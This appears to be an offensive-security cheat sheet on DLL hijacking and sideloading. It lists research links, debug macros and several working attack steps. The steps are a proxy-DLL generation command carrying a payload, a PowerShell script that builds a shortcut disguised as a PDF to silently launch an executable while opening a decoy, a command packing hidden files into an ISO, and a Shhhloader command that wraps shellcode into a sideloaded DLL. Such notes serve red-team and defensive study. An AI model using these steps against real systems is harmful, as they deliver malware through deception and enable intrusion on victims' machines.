# DLL Hijacking

* <https://hijacklibs.net/>
* <https://github.com/XForceIR/SideLoadHunter/tree/main/SideLoads>
* <https://dec0ne.github.io/research/2021-04-26-DLL-Proxying-pt1/>
* <https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/>
* <https://besteffortteam.it/onedrive-and-teams-dll-hijacking/>
* <https://www.binarydefense.com/resources/blog/demystifying-dll-hijacking-understanding-the-intricate-world-of-dynamic-link-library-attacks/>
* <https://xss.is/threads/67021/>
* <https://xss.is/threads/67718/>
* <https://www.r-tec.net/r-tec-blog-dll-sideloading.html>
* <https://www.netspi.com/blog/technical-blog/adversary-simulation/adaptive-dll-hijacking/>

{% embed url="<https://youtu.be/3eROsG_WNpE>" %}

Print debug output from a DLL to a file:

```c
#ifdef _DEBUG
#include <stdio.h>
#include <string.h>
#define __FILENAME__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__)
#define DPRINT(...) { \
  fprintf(stderr, "DEBUG: %s:%d:%s(): ", __FILENAME__, __LINE__, __FUNCTION__); \
  fprintf(stderr, __VA_ARGS__); \
}
#else
#define DPRINT(...)
#endif
```

Print debug output from a DLL to dbgview:

```c
char buffer[256];
wsprintfA(buffer, "Hex: 0x%X, String: %s\n", 0x1234, "test");
OutputDebugStringA(buffer);
```

## DLL Side-Loading with ISO Packing

* <https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/>
* <https://blog.sunggwanchoi.com/recreating-an-iso-payload-for-fun-and-no-profit/>
* <https://github.com/ChoiSG/OneDriveUpdaterSideloading>

Generate a proxy DLL with [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy):

```
Cmd > SharpDllProxy.exe --dll C:\Windows\System32\version.dll --payload OneDrive.Update
Cmd > move output_version\tmp1F94.dll C:\out\vresion.dll
```

Create an exec link (also [here](https://gist.github.com/mttaggart/eb2ba020b8816cfe3da4cfd835240b7d)):

```powershell
$obj = New-object -ComObject wscript.shell
$link = $obj.createshortcut("C:\Tools\PackMyPayload\out\clickme.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13" # PDF ico
$link.arguments = "/c start update.exe & ""%ProgramFiles(x86)%/Microsoft/Edge/Application/msedge.exe"" %cd%/fake.pdf"
$link.save()
```

Pack all the files into an ISO with [PackMyPayload](https://github.com/mgeeky/PackMyPayload):

```
PS > python .\PackMyPayload.py .\out\ .\out\a.iso --out-format iso --hide OneDriveStandaloneUpdater.exe,vresion.dll,version.dll,fake.pdf
```

## Unlock DllMain

* <https://elliotonsecurity.com/perfect-dll-hijacking/>
* <https://github.com/ElliotKillick/LdrLockLiberator>
* <https://elliotonsecurity.com/what-is-loader-lock/>
* <https://habr.com/ru/articles/792424/>

## CVE-2025-24076, CVE-2025-24994

* <https://blog.compass-security.com/2025/04/3-milliseconds-to-admin-mastering-dll-hijacking-and-hooking-to-win-the-race-cve-2025-24076-and-cve-2025-24994/>

### DLL Proxying

* <https://github.com/Flangvik/SharpDllProxy>
* <https://github.com/tothi/dll-hijack-by-proxying>
* <https://github.com/kagasu/ProxyDllGenerator>
* <https://github.com/namazso/dll-proxy-generator>
* <https://github.com/mrexodia/perfect-dll-proxy>

### Shhhloader

* <https://github.com/icyguider/Shhhloader>

```
$ ./Shhhloader.py -p RuntimeBroker.exe -d -dp vresion.dll -o version.dll -s domain -sa megacorp.local shellcode.bin
```

### DLL ForwardSideloading

* <https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/>
* <https://hexacorn.com/d/apis_fwd.txt>


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